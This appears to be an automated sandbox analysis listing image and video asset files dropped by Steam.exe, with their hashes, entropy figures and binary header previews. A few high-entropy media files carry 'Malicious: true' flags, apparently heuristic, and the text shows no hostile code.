Preview:	.PNG........IHDR...%...%...... .....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:18D38AD18CA5E3119571BAEAE2984549" xmpMM:DocumentID="xmp.did:80FE8B31191311E48976E44900265082" xmpMM:InstanceID="xmp.iid:80FE8B30191311E48976E44900265082" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0DC34F31E018E41190DF87EF11B420FD" stRef:documentID="xmp.did:18D38AD18CA5E3119571BAEAE2984549"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>v......"IDATx.._DCq...'%.z.^*.....K.eD.2b...Q.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_volume_02.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1275
Entropy (8bit):	6.722981381360223
Encrypted:	false
SSDEEP:
MD5:	AF71C3069B155E152593E57560088B90
SHA1:	33B64B4124DFDBF478EB9018458BF12C764B71DC
SHA-256:	9A402430A7D6C1BD92E865AA622BB46192FD968906B1B3891E2252D07D3D0357
SHA-512:	2B4524C4333CB9561327FA6424C78B0997EB5143CDCDD5BB087741B8F8BA65C10C4FC28FD583887E8A9A9D39DA3C5C3AA0E75577F0E9994C4347EBAA2BD0A373
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:BB78B16AA58C11E38C14A22ADFBC3314" xmpMM:DocumentID="xmp.did:BB78B16BA58C11E38C14A22ADFBC3314"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BB78B168A58C11E38C14A22ADFBC3314" stRef:documentID="xmp.did:BB78B169A58C11E38C14A22ADFBC3314"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......qIDATx.b...?.`.L....P.W..........v..1K......u.E."..Gr....d..E.. ..L......S.s...T$.B.6.`r." ...r...M0G.r..@...X

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_volume_03.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1429
Entropy (8bit):	6.992982258234373
Encrypted:	false
SSDEEP:
MD5:	BEA8A850CFFA27BBD00A8B6EA18DC6B7
SHA1:	47BA3568C420000240796F7358C17959303C2345
SHA-256:	B2E230803B68DA1B8C2106E132ECC04C74809BB7D62107CFE3EFE16C8812A0B4
SHA-512:	9C3D00CCAA1AC44BBF0051E7C949A7F77C185D3E4E0BD1F3345C3EC9D4ACC206912272FD11ED94C2A0697E064E151DFA385F46BE8029E6F524205AA86EA6C3D6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:B5F6CAE3A58C11E38E5AEF319E4728E0" xmpMM:DocumentID="xmp.did:B5F6CAE4A58C11E38E5AEF319E4728E0"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B5F6CAE1A58C11E38E5AEF319E4728E0" stRef:documentID="xmp.did:B5F6CAE2A58C11E38E5AEF319E4728E0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx.._DCQ....1..1F..c.1FDY..D."...C"J..^zKSzH..9"R$J.....b......K.u..s.......l......;.o...k.......V..vU.>.6

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_volume_04.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.15946856385536
Encrypted:	false
SSDEEP:
MD5:	B4B81A965629949F6053B23E05779D56
SHA1:	6A4C9F0D60DC61486CB8CA6C0095BEC29FF867BA
SHA-256:	26CB3AC6A50E3C219CAD0DF6C35603EA8255CB186FFC24A0CDD602D17616A8AB
SHA-512:	783BF43AC655959C8A109C6464E4291F5998351B64763C9FF85C07FF8659CA809265E1ECD8D50B84FD1E7BC3B71C370DA1C701768C996B8A8597E6B7A6FEAC46
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:B134DDE6A58C11E3BA11E36EB7473651" xmpMM:DocumentID="xmp.did:B134DDE7A58C11E3BA11E36EB7473651"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B134DDE4A58C11E3BA11E36EB7473651" stRef:documentID="xmp.did:B134DDE5A58C11E3BA11E36EB7473651"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>h./h....IDATx..XQd]A..k.!.G(..(!....\B..*..O....P..!.J....P..V(.O.!.j5...+.j4..W...#...:...w..%....f.].....n...r..B.9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\unlocked_acct.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3776
Entropy (8bit):	7.9049831722536785
Encrypted:	false
SSDEEP:
MD5:	8708B93F83EE7233DC696799BC284C3F
SHA1:	633F0A4C260A77C34ECDF3BFA5AD77B2ED9BF866
SHA-256:	E7DF2F4A284C84A8E59D57D7875936831639EC51E97C13FE8AA492EF84D11E2B
SHA-512:	3CA4DBB8E77548D3B8BBDEB2DCDBDB519836542095BAA1B2CF6B6CCEF12092FF66D466ADBC83863A131A7A8E7A04846CF7332B9E90BB5D027520C0131F8AF67D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\unlocked_acct_lg.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 80 x 73, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3831
Entropy (8bit):	7.900047166322539
Encrypted:	false
SSDEEP:
MD5:	4C69E75ABA8E03F0CB181F8F40A6AC8F
SHA1:	32789FEC59B1F9B1B8B7278232F4127E0C6FA2C2
SHA-256:	FF50AC8477E1DEB24BDC6899B0542BBE94507981242DBA40C455EE883BAE2418
SHA-512:	1CC5DFCAEEC822FA26121CC72DC1DA050C23E2234278D536F977F4F900721282C804276E0E68D714D7C567379E1499DC09720715E87A2C7F8A1F87DF6C81306B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...I............pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\unlocked_acct_sm.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3776
Entropy (8bit):	7.9049831722536785
Encrypted:	false
SSDEEP:
MD5:	8708B93F83EE7233DC696799BC284C3F
SHA1:	633F0A4C260A77C34ECDF3BFA5AD77B2ED9BF866
SHA-256:	E7DF2F4A284C84A8E59D57D7875936831639EC51E97C13FE8AA492EF84D11E2B
SHA-512:	3CA4DBB8E77548D3B8BBDEB2DCDBDB519836542095BAA1B2CF6B6CCEF12092FF66D466ADBC83863A131A7A8E7A04846CF7332B9E90BB5D027520C0131F8AF67D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\upper_row_mask.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 1 x 600 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	2444
Entropy (8bit):	2.8837359104110063
Encrypted:	false
SSDEEP:
MD5:	620B91FBE16F7F8E82648FA8DE48F4C1
SHA1:	3622E3881135805667EEFD575AD91809E21C041A
SHA-256:	67F1777490CD58BC510D73D8DC64184F2A3D31B84557CD923287DF23496B4D2C
SHA-512:	D3A7F9D2A7AD7D7331DE84F43D896711423D0888BA53A59ABE91183595DD0DF799B8D990637AE0109267BA42B915534108196FEA7C47A22E13EF5389557841C1
Malicious:	false
Reputation:	unknown
Preview:	..............X. ............................................................................................................................................................................................................................................................................................................................................................................................................................ ... ...!...!..."..."..."...#...#...#...$...$...%...%...%...&...&...&...'...'...(...(...).........*...+...+...+...,...,...-...-...-......./.../...0.../...0...0...1...2...2...2...3...3...4...4...5...5...5...6...7...7...7...8...8...8...9...:...:...;...;...;...<...<...=...>...>...>...?...?...?...@...@...A...A...B...B...C...C...D...D...E...E...F...F...G...G...H...H...H...I...J...J...J...K...L...L...M...M...M...N...O...O...O...P...Q...Q...Q...R...R...S...T...T...T...U...U...V...V...W...W...X...Y...Y...Y...Z...[...[...\...\...]...]...]..._...^..._...`...`...a...a...b..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\voice_headset.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3469
Entropy (8bit):	7.89449925783921
Encrypted:	false
SSDEEP:
MD5:	A099E4C7692F5782D8BC1EACAB0E98DC
SHA1:	0931392036D10A6CD6FC6157E771DA7A24D7886F
SHA-256:	F6C076169716C27EECCC40724F30902BE39564F985067E8EAAE81A112AC568D8
SHA-512:	8FB75813927464F4556260B0B31A20111B5DB9DBF213DF5F4BECFC876696A0E62A09BAAE129ACA22781A18868F9E84B332D26600B6CC5185EFE605373101067E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs..........+.....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\voice_mic.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3429
Entropy (8bit):	7.892656266034712
Encrypted:	false
SSDEEP:
MD5:	FDD5CE46DCDB64BDD87E573DFBE53A4E
SHA1:	297185B58C7DB0D347EAA03AE5FF5D2724ABD048
SHA-256:	F3768E839CFD92388F6C67EBEE845480E1945A6957FED6FE524CF121F8A49DD0
SHA-512:	BF66A65A11D2150E065495A26FF0A6600B8F9AC932E6C83B8772E1E2BE663147C1B296336B05B74366B3E546378F2E35456E5D41D8633E65EDFB3F4C39454D94
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs..........+.....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\bigpicture.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1280 x 288, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	533408
Entropy (8bit):	7.992290510052715
Encrypted:	true
SSDEEP:
MD5:	19999D74E6372813B01D63C6E8446437
SHA1:	9A149796B52C7CECFCAD7E4D2190D78BA80DB12C
SHA-256:	E91B8E46D2516352ABE2012E978FE980905D471EB35B858C722A3E70E733C144
SHA-512:	BF944CE2BBAE3CC14F8A5E0BD02ECB73E54FE4D85EF76C8710D0B65328A52907797A944D1F3FA19618FACC3D08F3478986535066BFBBB0B8903FBE2188AA1F69
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR....... .............tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5ED698A13069E511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:5CF26D086C8311E5A6B0DFA7F792647C" xmpMM:InstanceID="xmp.iid:5CF26D076C8311E5A6B0DFA7F792647C" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ED698A13069E511B877C8050FDE701A" stRef:documentID="xmp.did:5ED698A13069E511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..Y.m.u.VUk.........)R$.u.d[2,....q...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\bp_icon_app.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 53 x 86, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3352
Entropy (8bit):	7.753931166087728
Encrypted:	false
SSDEEP:
MD5:	969205125428BC4AC635EE10941D0C8E
SHA1:	B44A5CF0F9DC54D23F23984399594F03CE56DE1D
SHA-256:	231A89C6F86E8F0DA5E61CD15A257D273B1DAAE7D95AF5429B9EF51E7E2F0ABB
SHA-512:	077E0C613E991E3417748AFEF45857D78FCF1F7847B97F1132C8AA48B99A87B1CD3FCC4E034DF628F23CAA08BE5FC20743E6E5DC20D8DFA1FC44265D446EC35A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...5...V.....o......tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:D2ED74177DD811E5B02BD8043C0C8360" xmpMM:DocumentID="xmp.did:D2ED74187DD811E5B02BD8043C0C8360"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2ED74157DD811E5B02BD8043C0C8360" stRef:documentID="xmp.did:D2ED74167DD811E5B02BD8043C0C8360"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>[..W....IDATx..\..\U...c^....}..O..a[.....A.....FB4hcL466..._....M(D!.!QS\|..Q..m..K..-...}........?.L;.N..w...fO....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\bp_icon_phone.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 53 x 86, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1945
Entropy (8bit):	7.402159031489779
Encrypted:	false
SSDEEP:
MD5:	B3B3B82F7A4A20B3CB4D14108E29B0D2
SHA1:	F28290118FD74D480A91DBF0E3B5E2263444401A
SHA-256:	3D4942A5D330BE563117CF897672B8DA05DBF2CC7CF3131DCF8E8DD5582B0476
SHA-512:	B365EF53C6677FF726F712FD26CC52FE32465A3257C43DCC9BC101E15A3BA273697EFA2DCA53996B75BAA2D3259BE09996A8A725E4016CB31C076D623B7DF5F0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...5...V.....o......tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:CACEFFA37DD811E59580AB907E7EB42F" xmpMM:DocumentID="xmp.did:CACEFFA47DD811E59580AB907E7EB42F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CACEFFA17DD811E59580AB907E7EB42F" stRef:documentID="xmp.did:CACEFFA27DD811E59580AB907E7EB42F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..[H.Q.....E+.+d....t!..z....C....B..A`E....C..A.A.CH..AP..QYBeW,...,u]..u..i.]..s8..d...o.eg.wf<.J..)\|

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\bumperbtn.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2073
Entropy (8bit):	7.420591996626212
Encrypted:	false
SSDEEP:
MD5:	441174F71849120205746791FACD9917
SHA1:	8123EBC94F523A4CD082985D565F27F8459A71BD
SHA-256:	9F53FDB7A19369C7BBDF28D60CD5694F71EA619C809C7B4DC948DBB749551D2E
SHA-512:	EAFC253E9485BC675E3BDA7A388D46D73486D7357279837277F38188BC70450A7C6734A9A980D4E43B16FE53CD9376A1C8FA96E75977E66725EF6908D329ACDB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......@.............tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:F73603106D1511E594CBAD58F9AE01D0" xmpMM:DocumentID="xmp.did:F73603116D1511E594CBAD58F9AE01D0"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F736030E6D1511E594CBAD58F9AE01D0" stRef:documentID="xmp.did:F736030F6D1511E594CBAD58F9AE01D0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.&......IDATx..][lTU.=...>HCZ..+-..5J....".J?..........?._.eBD.1..HL.O!D%..V..5.X... .(X:w..ufn...}w..9k5+....&w.Y{.3

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_controllerhud.webm_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	WebM
Category:	dropped
Size (bytes):	591766
Entropy (8bit):	7.981489150888423
Encrypted:	false
SSDEEP:
MD5:	27C8CCAE38578AD34B1774E0700D7426
SHA1:	F5249E51A013475FD2E98AFD334F5EBFBE3D66DA
SHA-256:	9C37C1AA27F8196AFB4E5BB09A0E422D68CB6A76C8F251B86DED59C9012CCEE4
SHA-512:	A9B7EA3F387A22A9CBB9EDEFABD908251490001EE613C913887E8B069B642A3B47C7A6F86183EB1DCAF64DBE1D1F2ECFFE5A88BE9F926E5C8D0F279FB65ABD24
Malicious:	false
Reputation:	unknown
Preview:	.E..B...B...B..B..B..webmB...B....S.g.......f.M.t.M..S...I.fS....M..S...T.kS....M..S...S.kS......O...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_gyro.webm_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	WebM
Category:	dropped
Size (bytes):	1471675
Entropy (8bit):	7.999660599490982
Encrypted:	true
SSDEEP:
MD5:	F8BA9FF71BA2CA2C6603C9A9BAEE5CFD
SHA1:	7213C88FE912DFA32090289F31A4E2B261981ED9
SHA-256:	F7FB5B0FAFB77DB3FF25987A3BBBDD8538B74F9CE1D2D5D21863348F26979332
SHA-512:	1BB4FD3873B17DFA4CD4ED83E70A6B35C46031B4D4981562482054F416562EED3D78E36F1B972EF5135102EF61E70E297A76A7B85E92AE6F9823C2A92E92F026
Malicious:	true
Reputation:	unknown
